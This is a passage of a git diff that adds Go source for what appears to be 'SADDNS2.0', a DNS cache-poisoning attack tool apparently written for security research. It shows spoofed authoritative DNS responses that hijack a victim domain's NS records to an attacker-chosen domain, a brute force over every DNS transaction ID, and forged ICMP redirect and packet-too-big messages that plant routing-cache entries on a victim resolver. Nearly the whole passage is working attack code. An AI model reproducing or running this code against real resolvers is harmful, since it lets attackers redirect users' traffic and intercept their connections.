+ if innerIPLayer != nil && innerLayer0 != nil {
+ if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolUDP {
+ err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6))
+ } else if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolICMPv6 {
+ err = innerLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6))
+ }
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ return
+ }
+ innerData, err = getData(innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ return
+ }
+ } else {
+ innerData, err = getData(gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ return
+ }
+ }
+ writeInnerData := true
+ if ICMPLayer0.(*layers.ICMPv6).TypeCode.Type() == layers.ICMPv6TypeRedirect {
+ // fix data len and reserved area
+ rem := len(innerData) % 8
+ for i := 0; i < rem; i++ {
+ innerData = append(innerData, 0)
+ }
+ tmpLen := []byte{0, 0, 0, 0, 0, 0}
+ innerData = append(tmpLen, innerData...)
+ ICMPLayer1.(*layers.ICMPv6Redirect).Options[0].Data = innerData
+ writeInnerData = false
+ }
+ outerData, err := getData(ethernet, outIPLayer, ICMPLayer0, ICMPLayer1)
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ return
+ }
+ if writeInnerData {
+ err = h.WritePacketData(append(outerData, innerData...))
+ } else {
+ err = h.WritePacketData(outerData)
+ }
+ if err != nil {
+ fmt.Println("xmitICMPv6:", err)
+ return
+ }
+ } else {
+ var err error = nil
+ if innerIPLayer != nil && innerLayer0 != nil {
+ if innerIPLayer.(*layers.IPv4).Protocol == layers.IPProtocolUDP {
+ err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6))
+ }
+ if err != nil {
+ fmt.Println("xmitICMPv4:", err)
+ return
+ }
+ err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv4:", err)
+ return
+ }
+ } else {
+ err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, gopacket.Payload(data))
+ if err != nil {
+ fmt.Println("xmitICMPv4:", err)
+ return
+ }
+ }
+ }
+ if delay != 0 {
+ time.Sleep(time.Duration(delay) * time.Microsecond)
+ }
+}
+
+func GetDNSQuery(txid uint16, name string) layers.DNS {
+ return layers.DNS{
+ ID: txid,
+ QR: false,
+ OpCode: 0,
+ AA: false,
+ TC: false,
+ RD: true,
+ RA: false,
+ Z: 0,
+ ResponseCode: 0,
+ QDCount: 1,
+ ANCount: 0,
+ NSCount: 0,
+ ARCount: 0,
+ Questions: []layers.DNSQuestion{{
+ Name: []byte(name),
+ Type: layers.DNSTypeA,
+ Class: layers.DNSClassIN,
+ }},
+ Authorities: nil,
+ Additionals: nil,
+ }
+}
+
+func GetDNSResponse(txid uint16, tc bool, questions []layers.DNSQuestion, answers []layers.DNSResourceRecord) layers.DNS {
+ return layers.DNS{
+ ID: txid,
+ QR: true,
+ OpCode: 0,
+ AA: true,
+ TC: tc,
+ RA: false,
+ Z: 0,
+ ResponseCode: 0,
+ QDCount: 1,
+ ANCount: 0,
+ NSCount: 0,
+ ARCount: 0,
+ Questions: questions,
+ Answers: answers,
+ Authorities: nil,
+ Additionals: nil,
+ }
+}
+
+func CheckIPv6(ip net.IP) bool {
+ if ip.To4() == nil {
+ return true
+ } else {
+ ip = ip.To4()
+ return false
+ }
+}
+
+//i should be 0 when init
+func CompareIPAddr(ip0 net.IP, ip1 net.IP, i uint) int {
+ if ip0 == nil || ip1 == nil {
+ return -2
+ }
+ if CheckIPv6(ip0) && CheckIPv6(ip1) {
+ temp0 := binary.LittleEndian.Uint32(ip0[i*4 : (i+1)*4])
+ temp1 := binary.LittleEndian.Uint32(ip1[i*4 : (i+1)*4])
+ if temp0 == temp1 {
+ if i != 3 {
+ return CompareIPAddr(ip0, ip1, i+1)
+ }
+ return 0
+ }
+ if temp0 > temp1 {
+ return 1
+ }
+ return -1
+ } else if !CheckIPv6(ip0) && !CheckIPv6(ip1) {
+ temp0 := binary.LittleEndian.Uint32(ip0.To4())
+ temp1 := binary.LittleEndian.Uint32(ip1.To4())
+ if temp0 == temp1 {
+ return 0
+ }
+ if temp0 > temp1 {
+ return 1
+ }
+ return -1
+ }
+ return -2
+}
+
+func ExtractTCPPacket(packet *gopacket.Packet) uint16 {
+ if rspTCPLayer := (*packet).Layer(layers.LayerTypeTCP); rspTCPLayer != nil {
+ if rspTCP := rspTCPLayer.(*layers.TCP); rspTCP != nil {
+ if rspTCP.SYN {
+ if rspTCP.Options != nil && len(rspTCP.Options) > 0 {
+ for _, option := range rspTCP.Options {
+ if option.OptionType == layers.TCPOptionKindMSS {
+ var retval uint16
+ retval |= uint16(option.OptionData[0]) << 8
+ retval |= uint16(option.OptionData[1])
+ return retval
+ }
+ }
+ }
+ }
+ }
+ }
+ return 0xffff
+}
+
+func ExtractFragment(packet *gopacket.Packet) (uint16, uint16, bool, layers.IPProtocol, []byte) {
+ if rspIPLayer := (*packet).Layer(layers.LayerTypeIPv4); rspIPLayer != nil {
+ if rspIP := rspIPLayer.(*layers.IPv4); rspIP != nil {
+ return rspIP.Id, rspIP.FragOffset, rspIP.Flags&layers.IPv4MoreFragments != 0, rspIP.Protocol, rspIP.Payload
+ }
+ } else if rspFragLayer := (*packet).Layer(layers.LayerTypeIPv6Fragment); rspFragLayer != nil {
+ if rspFrag := rspFragLayer.(*layers.IPv6Fragment); rspFrag != nil {
+ return uint16(rspFrag.Identification), rspFrag.FragmentOffset, rspFrag.MoreFragments, rspFrag.NextHeader, rspFrag.Payload
+ }
+ }
+ return 0xffff, 0xffff, false, 0xff, nil
+}
+
+func ExtractIPPacket(packet *gopacket.Packet) (net.IP, net.IP, uint16, uint16, layers.IPProtocol) {
+ if rspNet := (*packet).NetworkLayer(); rspNet == nil {
+ return nil, nil, 0, 0, 0xff
+ } else {
+ var srcIP net.IP
+ var dstIP net.IP
+ var ipid uint16
+ var length uint16
+ var rspIPLayer gopacket.Layer
+ var nextHeader layers.IPProtocol
+
+ if rspIPLayer = (*packet).Layer(layers.LayerTypeIPv4); rspIPLayer != nil {
+ if rspIP := rspIPLayer.(*layers.IPv4); rspIP != nil {
+ srcIP = rspIP.SrcIP
+ dstIP = rspIP.DstIP
+ ipid = rspIP.Id
+ length = rspIP.Length
+ nextHeader = rspIP.Protocol
+ if rspIP.Flags&layers.IPv4MoreFragments != 0 || rspIP.FragOffset != 0 {
+ nextHeader = layers.IPProtocolIPv6Fragment
+ }
+ return srcIP, dstIP, ipid, length, nextHeader
+ }
+ } else if rspIPLayer = (*packet).Layer(layers.LayerTypeIPv6); rspIPLayer != nil {
+ if rspIP6 := rspIPLayer.(*layers.IPv6); rspIP6 != nil {
+ srcIP = rspIP6.SrcIP
+ dstIP = rspIP6.DstIP
+ ipid = uint16(rspIP6.FlowLabel)
+ length = rspIP6.Length + 40
+ nextHeader = rspIP6.NextHeader
+ return srcIP, dstIP, ipid, length, nextHeader
+ }
+ }
+ }
+ return nil, nil, 0, 0, 0xff
+}
+
+func ExtractDNSPacket(packet *gopacket.Packet) (uint16, bool, *layers.DNS) {
+ rspDNSLayer := (*packet).Layer(layers.LayerTypeDNS)
+ if rspDNSLayer == nil {
+ return 0xffff, false, nil
+ }
+ rspDNS := rspDNSLayer.(*layers.DNS)
+ if rspDNS == nil {
+ return 0xffff, false, nil
+ }
+ if rspDNS.Questions == nil || len(rspDNS.Questions) < 1 || rspDNS.Questions[0].Name == nil || len(rspDNS.Questions[0].Name) < 15 {
+ return 0xffff, false, nil
+ }
+ return rspDNS.ID, rspDNS.QR, rspDNS
+}
+
+func ExtractUDPPacket(packet *gopacket.Packet) (layers.UDPPort, layers.UDPPort, uint16) {
+ if rspTP := (*packet).TransportLayer(); rspTP == nil {
+ return 0, 0, 0xffff
+ } else {
+ if rspUDPLayer := (*packet).Layer(layers.LayerTypeUDP); rspUDPLayer != nil {
+ if rspUDP := rspUDPLayer.(*layers.UDP); rspUDP != nil {
+ return rspUDP.SrcPort, rspUDP.DstPort, rspUDP.Length
+ }
+ }
+ return 0, 0, 0xffff
+ }
+}
+
+func ExtractICMPPacket(packet *gopacket.Packet) (uint8, uint8, uint16, uint16, gopacket.Packet) {
+ var _type uint8
+ var _code uint8
+ var _id uint16
+ var _seq uint16
+ var innerPacket gopacket.Packet
+
+ if rspICMPLayer := (*packet).Layer(layers.LayerTypeICMPv4); rspICMPLayer != nil {
+ if rspICMP := rspICMPLayer.(*layers.ICMPv4); rspICMP != nil {
+ _type = rspICMP.TypeCode.Type()
+ _code = rspICMP.TypeCode.Code()
+ _id = rspICMP.Id
+ _seq = rspICMP.Seq
+ innerPacket = gopacket.NewPacket(rspICMP.Payload, layers.LayerTypeIPv4, gopacket.NoCopy)
+ return _type, _code, _id, _seq, innerPacket
+ }
+ } else if rspICMP6Layer := (*packet).Layer(layers.LayerTypeICMPv6); rspICMP6Layer != nil {
+ if rspICMP6 := rspICMP6Layer.(*layers.ICMPv6); rspICMP6 != nil {
+ _type = rspICMP6.TypeCode.Type()
+ _code = rspICMP6.TypeCode.Code()
+ innerPacket = gopacket.NewPacket(rspICMP6.Payload[4:], layers.LayerTypeIPv6, gopacket.NoCopy)
+ if rspPING6Layer := (*packet).Layer(layers.LayerTypeICMPv6Echo); rspPING6Layer != nil {
+ if rspPING6 := rspPING6Layer.(*layers.ICMPv6Echo); rspPING6 != nil {
+ _seq = rspPING6.SeqNumber
+ _id = rspPING6.Identifier
+ return _type, _code, _id, _seq, innerPacket
+ }
+ }
+ return _type, _code, 0xffff, 0xffff, innerPacket
+ }
+ }
+ return 0xff, 0xff, 0xffff, 0xffff, nil
+}
+
+func SendToUs(packet *gopacket.Packet, dstmac net.HardwareAddr) bool {
+ if rspEthLayer := (*packet).Layer(layers.LayerTypeEthernet); rspEthLayer != nil {
+ if rspEth := rspEthLayer.(*layers.Ethernet); rspEth != nil {
+ for i := 0; i < 6; i++ {
+ if dstmac[i] != rspEth.DstMAC[i] {
+ return false
+ }
+ }
+ return true
+ }
+ }
+ return false
+}
+
+func SendByUs(packet *gopacket.Packet, srcmac net.HardwareAddr) bool {
+ if rspEthLayer := (*packet).Layer(layers.LayerTypeEthernet); rspEthLayer != nil {
+ if rspEth := rspEthLayer.(*layers.Ethernet); rspEth != nil {
+ for i := 0; i < 6; i++ {
+ if srcmac[i] != rspEth.SrcMAC[i] {
+ return false
+ }
+ }
+ return true
+ }
+ }
+ return false
+}
+
+func ExtractMacPacket(packet *gopacket.Packet) (net.HardwareAddr, net.HardwareAddr) {
+ if rspEthLayer := (*packet).Layer(layers.LayerTypeEthernet); rspEthLayer != nil {
+ if rspEth := rspEthLayer.(*layers.Ethernet); rspEth != nil {
+ return rspEth.SrcMAC, rspEth.DstMAC
+ }
+ }
+ return nil, nil
+}
+
+func GetICMPRedirectLayer(tgt net.IP, dst net.IP, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) {
+ if v6 {
+ return &layers.ICMPv6{
+ TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeRedirect, 0),
+ }, &layers.ICMPv6Redirect{
+ TargetAddress: tgt,
+ DestinationAddress: dst,
+ Options: layers.ICMPv6Options{layers.ICMPv6Option{
+ Type: layers.ICMPv6OptRedirectedHeader,
+ Data: nil,
+ }},
+ }
+ } else {
+ tgt = tgt.To4()
+ return &layers.ICMPv4{
+ TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeRedirect, 1),
+ Id: uint16(tgt[0])<<8 | uint16(tgt[1]),
+ Seq: uint16(tgt[2])<<8 | uint16(tgt[3]),
+ }, nil
+ }
+}
diff --git a/src/ucr.edu/SADDNS2.0/dns.go b/src/ucr.edu/SADDNS2.0/dns.go
new file mode 100644
index 0000000..24a2d2a
--- /dev/null
+++ b/src/ucr.edu/SADDNS2.0/dns.go
@@ -0,0 +1,281 @@
+package main
+
+import (
+ "bytes"
+ "encoding/binary"
+ "fmt"
+ "github.com/google/gopacket/layers"
+ "github.com/ugorji/go/codec"
+ "math/rand"
+ "net"
+ "time"
+)
+
+/*BF server (bfConn: C--->S)*/
+var bfConn *net.TCPConn
+
+var bfTotalTime time.Duration
+var bfTimes uint
+
+func normalReturn(srcIP net.IP, dstIP net.IP, targetPort layers.UDPPort, txid uint16, question layers.DNSQuestion, auxDomain string, victimDNSName string) {
+ questionName := question.Name
+ ipLayer := GetIPLayer(srcIP, dstIP, false, 3, layers.IPProtocolUDP)
+ udpLayer := GetUDPLayer(53, targetPort)
+ dnsLayer := layers.DNS{
+ ID: txid,
+ QR: true,
+ OpCode: 0,
+ AA: true,
+ TC: false,
+ RD: false,
+ RA: false,
+ Z: 0,
+ }
+ dnsLayer.Questions = []layers.DNSQuestion{question}
+ qType := dnsLayer.Questions[0].Type
+ // NXDOMAIN
+ if string(questionName) == victimDNSName && qType == layers.DNSTypeNS {
+ dnsLayer.ResponseCode = layers.DNSResponseCodeNoErr
+ dnsLayer.Answers = []layers.DNSResourceRecord{{
+ Name: []byte(victimDNSName),
+ Type: layers.DNSTypeNS,
+ Class: layers.DNSClassIN,
+ TTL: 300, //TODO: changed to huge value
+ IP: nil, //
+ NS: []byte(auxDomain), //
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ } else if string(questionName) == victimDNSName && (qType == layers.DNSTypeA || qType == layers.DNSTypeAAAA) {
+
+ }
+ if auxDomain != "" {
+ dnsLayer.ResponseCode = layers.DNSResponseCodeNoErr
+ dnsLayer.Authorities = []layers.DNSResourceRecord{{
+ Name: []byte(victimDNSName),
+ Type: layers.DNSTypeNS,
+ Class: layers.DNSClassIN,
+ TTL: 300, //TODO: changed to huge value
+ IP: nil, //
+ NS: []byte(auxDomain), //
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ }
+ XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, 0)
+}
+
+func sendDNSRequest(id uint16, name string, srcIP net.IP, dstIP net.IP) {
+ fmt.Println("Send new request", name, id)
+ if bfConn != nil && *remoteQuery {
+ Query := &DnsQuery{
+ DnsQueryName: name,
+ FrontIP: dstIP,
+ VictimDomain: *victimDomain,
+ }
+ Rinfo := &RemoteInfo{
+ Dq: Query,
+ Bf: nil,
+ }
+ var buf bytes.Buffer
+ handle := new(codec.BincHandle)
+ enc := codec.NewEncoder(&buf, handle)
+ err := enc.Encode(Rinfo)
+ if err != nil {
+ fmt.Println("encode fail", err)
+ }
+ /* data len */
+ dataLenSlice := make([]byte, 2)
+ binary.BigEndian.PutUint16(dataLenSlice, uint16(buf.Len()))
+ _, err = bfConn.Write(append(dataLenSlice, buf.Bytes()...))
+ if err != nil {
+ fmt.Println("TCP write err", err)
+ }
+ /* TODO: we share bfCount here, meaning we can't make a running instance both server and client */
+ /* wait for reply */
+ reply := make([]byte, 1)
+ _, err = bfConn.Read(reply)
+ if err != nil {
+ fmt.Println("TCP read err", err)
+ }
+ if reply[0] != bfCount+1 {
+ fmt.Println("Reply seq doesn't match:", reply[0], ", expected:", bfCount+1)
+ }
+ bfCount = reply[0]
+ } else {
+ ipLayer := GetIPLayer(srcIP, dstIP, false, 1, layers.IPProtocolUDP)
+ udpLayer := GetUDPLayer(layers.UDPPort(rand.Uint32()), 53)
+ dnsLayer := GetDNSQuery(id, name)
+ XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, 0)
+ }
+}
+
+func dnsBruteForce(srcIP net.IP, dstIP net.IP, targetPort uint16, timeGap uint, finishGap uint, auxDomain string, victimDNSName string, questionName string, forwarderMode bool) {
+ if currentPort == layers.UDPPort(targetPort) /*portMap[layers.UDPPort(targetPort)]*/ {
+ hitTimes++
+ } else {
+ missTimes++
+ if *testMode {
+ return
+ }
+ }
+ portMap[layers.UDPPort(targetPort)] = false
+ fmt.Println("BF for", dstIP, ":", targetPort, "hit", hitTimes, "miss", missTimes)
+ if !*enableBF {
+ return
+ }
+ if bfConn != nil && *remoteBF {
+ /* Serialize */
+ Info := &BfInfo{
+ NsIP: srcIP,
+ BackendIP: dstIP,
+ Port: targetPort,
+ DnsBFTimeGap: timeGap,
+ DnsBFFinishTimeGap: finishGap,
+ AuxDomain: auxDomain,
+ VictimDomain: victimDNSName,
+ QuestionName: questionName,
+ PublicPortMode: forwarderMode,
+ }
+ Rinfo := &RemoteInfo{
+ Dq: nil,
+ Bf: Info,
+ }
+ var buf bytes.Buffer
+ handle := new(codec.BincHandle)
+ enc := codec.NewEncoder(&buf, handle)
+ err := enc.Encode(Rinfo)
+ if err != nil {
+ fmt.Println("encode fail", err)
+ }
+ /* data len */
+ dataLenSlice := make([]byte, 2)
+ binary.BigEndian.PutUint16(dataLenSlice, uint16(buf.Len()))
+ _, err = bfConn.Write(append(dataLenSlice, buf.Bytes()...))
+ if err != nil {
+ fmt.Println("TCP write err", err)
+ }
+ /* TODO: we share bfCount here, meaning we can't make a running instance both server and client */
+ /* wait for reply */
+ reply := make([]byte, 1)
+ _, err = bfConn.Read(reply)
+ if err != nil {
+ fmt.Println("TCP read err", err)
+ }
+ if reply[0] != bfCount+1 {
+ fmt.Println("Reply seq doesn't match:", reply[0], ", expected:", bfCount+1)
+ }
+ bfCount = reply[0]
+ } else {
+ ipLayer := GetIPLayer(srcIP, dstIP, false, 3, layers.IPProtocolUDP)
+ udpLayer := GetUDPLayer(53, layers.UDPPort(targetPort))
+ dnsLayer := layers.DNS{
+ ID: 0,
+ QR: true,
+ OpCode: 0,
+ AA: true,
+ TC: false,
+ RD: false,
+ RA: false,
+ Z: 0,
+ ResponseCode: layers.DNSResponseCodeNoErr,
+ //QDCount: 1,
+ //ANCount: 1,
+ //NSCount: 0,
+ //ARCount: 0,
+
+ /*Answers for NS request */
+ Questions: []layers.DNSQuestion{{
+ Name: []byte(*victimDomain),
+ Type: layers.DNSTypeA,
+ Class: layers.DNSClassIN,
+ }},
+ Authorities: []layers.DNSResourceRecord{{
+ Name: []byte(*victimDomain),
+ Type: layers.DNSTypeNS,
+ Class: layers.DNSClassIN,
+ TTL: 604800, //TODO: changed to huge value
+ IP: nil,
+ NS: []byte(auxDomain),
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }},
+ Answers: nil,
+ Additionals: nil,
+ }
+ if forwarderMode {
+ dnsLayer.AA = false
+ dnsLayer.RD = true
+ dnsLayer.RA = true
+ dnsLayer.Questions = []layers.DNSQuestion{{
+ Name: []byte(questionName),
+ Type: layers.DNSTypeA,
+ Class: layers.DNSClassIN,
+ }}
+ dnsLayer.Answers = []layers.DNSResourceRecord{{
+ Name: []byte(questionName),
+ Type: layers.DNSTypeCNAME,
+ Class: layers.DNSClassIN,
+ TTL: 300, //TODO: changed to huge value
+ IP: nil,
+ NS: nil,
+ CNAME: []byte(victimDNSName),
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }, {
+ Name: []byte(victimDNSName),
+ Type: layers.DNSTypeA,
+ Class: layers.DNSClassIN,
+ TTL: 300, //TODO: changed to huge value
+ IP: net.ParseIP("1.2.3.4"),
+ NS: nil,
+ CNAME: nil,
+ PTR: nil,
+ TXTs: nil,
+ SOA: layers.DNSSOA{},
+ SRV: layers.DNSSRV{},
+ MX: layers.DNSMX{},
+ OPT: nil,
+ TXT: nil,
+ }}
+ }
+ //}
+ fmt.Println("DNS BruteForce: ", targetPort)
+ startTime := time.Now()
+ var txid uint16
+ for txid = 0; txid < 0xffff; txid++ {
+ dnsLayer.ID = txid
+ XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, timeGap)
+ }
+ dnsLayer.ID = 0xffff
+ XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, timeGap)
+ dur := time.Now().Sub(startTime)
+ bfTotalTime = time.Now().Add(bfTotalTime).Sub(startTime)
+ bfTimes++
+ fmt.Println("time: ", dur)
+ time.Sleep(time.Duration(finishGap) * time.Microsecond)
+ }
+}
diff --git a/src/ucr.edu/SADDNS2.0/main.go b/src/ucr.edu/SADDNS2.0/main.go
new file mode 100644
index 0000000..6c4966e
--- /dev/null
+++ b/src/ucr.edu/SADDNS2.0/main.go
@@ -0,0 +1,1317 @@
+package main
+
+import (
+ "encoding/binary"
+ "flag"
+ "fmt"
+ "github.com/google/gopacket"
+ "github.com/google/gopacket/layers"
+ "github.com/google/gopacket/pcap"
+ "github.com/google/gopacket/routing"
+ "github.com/ugorji/go/codec"
+ "log"
+ "math/rand"
+ "net"
+ "os"
+ "sort"
+ "strconv"
+ "strings"
+ "sync"
+ "time"
+)
+
+/* Input args */
+var ifaceName *string
+var localIP net.IP
+var localIPv6Subnet *net.IPNet
+var victimIP net.IP
+var victimFrontIP net.IP
+var victimDomain *string
+var auxDomain *string
+var victimAuthIP []net.IP
+var gatewayMac net.HardwareAddr
+var localMac net.HardwareAddr
+var collidingIPs = make([][]net.IP, 0)
+var collidingIPs2 = make([][]net.IP, 0)
+var groupSize *int
+var groupGap *uint
+var startPort *uint
+var endPort *uint
+var dnsPrivacyMode *bool
+var enhancedRefreshPercentage *uint
+var publicPortMode *bool
+var forwarderInjectMode *bool
+var redirectAttackMode *bool
+var floodOnlyMode *bool
+var remoteBF *bool
+var remoteQuery *bool
+var testMode *bool
+var useLocalIP *bool
+var enableBF *bool
+var recvTimes uint
+
+var packetSendingGap *uint
+var verificationGap *uint
+var plantingGap *uint
+var plantingFinishGap *uint
+var dnsBFTimeGap *uint
+var dnsBFFinishTimeGap *uint
+var bsStateDuration *uint
+var jitterProtectionDuration *uint
+
+/* Inner variables */
+var h *pcap.Handle
+var eth *layers.Ethernet
+var dnsQueryName string
+var gotReply bool
+var replyReason int
+var backendResolvers = make([]*BackendResolver, 0)
+var pcapChannel = make(chan []byte, 99999)
+var bsTimeStamp time.Time
+var bsStartPort uint16
+var lastReplantTime time.Time
+var attackStartTime time.Time
+
+/* can be configured if necessary */
+var repeatTimes = 1
+
+/* Const configurations */
+const BUCKET_DEPTH = 6 /*6 for ipv4, 5 for ipv6*/
+const IPICMPHDRLEN = 28 /*48 for ipv6, 28 for ipv4*/
+const GARBAGE_EXTRA = 10 /*How many do we want to exceed MTU?*/
+const NS_NUM = 1
+const MIN_MTU = 700 /*1280 for ipv6*/
+
+/*port map*/
+var portMap = make(map[layers.UDPPort]bool)
+var currentPort layers.UDPPort = 0
+var hitTimes = 0
+var missTimes = 0
+
+type BackendResolver struct {
+ resolverBackendIP net.IP
+ alwaysOpenPorts []bool //= make([]bool, 65536)
+ networkXmitLock *sync.Mutex
+ nameServers []*NameServer
+ redirectNewGW net.IP
+ redirectOldGW net.IP
+}
+
+type NameServer struct {
+ nsIP net.IP
+ collidingIPs []net.IP
+ collidingIPs2 []net.IP
+ /* routing cache planting args */
+ fastPlantMode bool // Determine if we reverse the order everytime
+ nextTimeReverseOrder bool
+ checkingFirstLocalIP bool
+ mtu uint16
+ garbage []byte
+ /* Group Related */
+ groups [][]uint16 // = make([][]uint16, 65536)
+ groupIDCounter uint16 // = 3
+ groupIDCounterLock *sync.Mutex
+ groupSendTime []time.Time // = make([]time.Time, 65536)
+ /* Channel Related */
+ probeChannel chan uint16 //= make(chan uint16, 655)
+ priorityProbeChannel chan uint16 //= make(chan uint16, 655)
+ priorityProbeGroupNumLock *sync.Mutex
+ priorityProbeGroupNum []uint16
+ bruteForceBuffer chan uint16
+ receivedPortidChannel chan uint16 // only used in redirect mode
+ /* Sync */
+ readyToBegin bool
+}
+
+func dnsRequestSender(timeout uint, srcIP net.IP) {
+ for {
+ dnsQueryName = strconv.Itoa(rand.Int()) + "." + *victimDomain
+ gotReply = false
+ sendDNSRequest(uint16(rand.Uint32()), dnsQueryName, srcIP, victimFrontIP)
+ retryTimes := timeout / 500
+ for {
+ if !gotReply {
+ time.Sleep(500 * time.Millisecond)
+ retryTimes--
+ if retryTimes == 0 {
+ break
+ }
+ } else {
+ fmt.Println("Got reply in", timeout-retryTimes*500, "ms, code=", replyReason)
+ break
+ }
+ }
+ }
+}
+
+func cachePlanter(r *BackendResolver, n *NameServer, force bool, randomMode bool) {
+ //fmt.Println("Plant begin...", force)
+ v6 := r.resolverBackendIP.To4() == nil
+ probingICMPLayer0, probingICMPLayer1 := GetICMPPkt2BigLayer(n.mtu, v6)
+ probingPingReplyLayer0, probingPingReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6)
+ probingPingLayer0, probingPingLayer1 := GetICMPPingLayer(2, 2, v6)
+ /***************
+ TODO: change to 53
+ ****************/
+ probingUDP53Layer := GetUDPLayer(53, 40000)
+ var gap uint = 0
+ if !n.fastPlantMode {
+ gap = 5000 + *plantingGap /* Jiffies */
+ } else {
+ gap = *plantingGap
+ }
+ //enhancedMode := len(n.collidingIPs2) != 0 && rand.Uint32()%100 < uint32(*enhancedRefreshPercentage)
+ if !force {
+ n.nextTimeReverseOrder = true
+ n.checkingFirstLocalIP = false
+ for {
+ for randomMode {
+ if rand.Uint32()%100 >= uint32(*enhancedRefreshPercentage) {
+ time.Sleep(time.Second)
+ } else {
+ //fmt.Println("random replanting")
+ break
+ }
+ }
+ r.networkXmitLock.Lock()
+ if *plantingFinishGap != 0 {
+ time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond)
+ }
+ if len(n.collidingIPs2) != 0 {
+ for _, cIP := range n.collidingIPs2 {
+ probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ if !*useLocalIP {
+ probingIPLayer = GetIPLayer(cIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ }
+ probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolICMPv6)
+ if *redirectAttackMode {
+ probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255)
+ probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, cIP, v6)
+ probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolUDP)
+ for i := 0; i < 3; i++ {
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap)
+ }
+ } else {
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap)
+ }
+ }
+ /* This would replant the cache, so adjust the sequence */
+ n.nextTimeReverseOrder = true
+ n.checkingFirstLocalIP = false
+ /* To wait for a jiffies, pay attention not to use too much random planting which will drain the performance */
+ time.Sleep(5 * time.Millisecond)
+ }
+
+ for c, cIP := range n.collidingIPs {
+ probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ if !*useLocalIP {
+ probingIPLayer = GetIPLayer(cIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ }
+ probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolICMPv6)
+ if *redirectAttackMode {
+ probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255)
+ probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, cIP, v6)
+ probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolUDP)
+ for i := 0; i < 3; i++ {
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap)
+ }
+ } else {
+ XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap)
+ if c == 0 && !v6 {
+ /*static bool rt_bind_exception may change the ts, we assume the first colliding IP is used to send the verification*/
+ probingIPLayer1 := GetIPLayer(cIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6)
+ XmitICMP(h, eth, probingIPLayer1, probingPingLayer0, probingPingLayer1, nil, nil, nil, nil, gap)
+ }
+ }
+ }
+ /* let the planting nodes go through */
+ if *plantingFinishGap != 0 {
+ time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond)
+ }
+ r.networkXmitLock.Unlock()
+ lastReplantTime = time.Now()
+ n.readyToBegin = true
+ if !randomMode {
+ for {
+ if time.Now().Sub(lastReplantTime) > 29*time.Second {
+ fmt.Println("30s replanter kicks in.")
+ break
+ }
+ time.Sleep(time.Second)
+ }
+ }
+ }
+ } else {
+ r.networkXmitLock.Lock()
+ if *plantingFinishGap != 0 {
+ time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond)
+ }
+ if n.fastPlantMode {
+ // TODO: uncomment this in the real cases. In the test there's already a huge gap (9ms)
+ /*
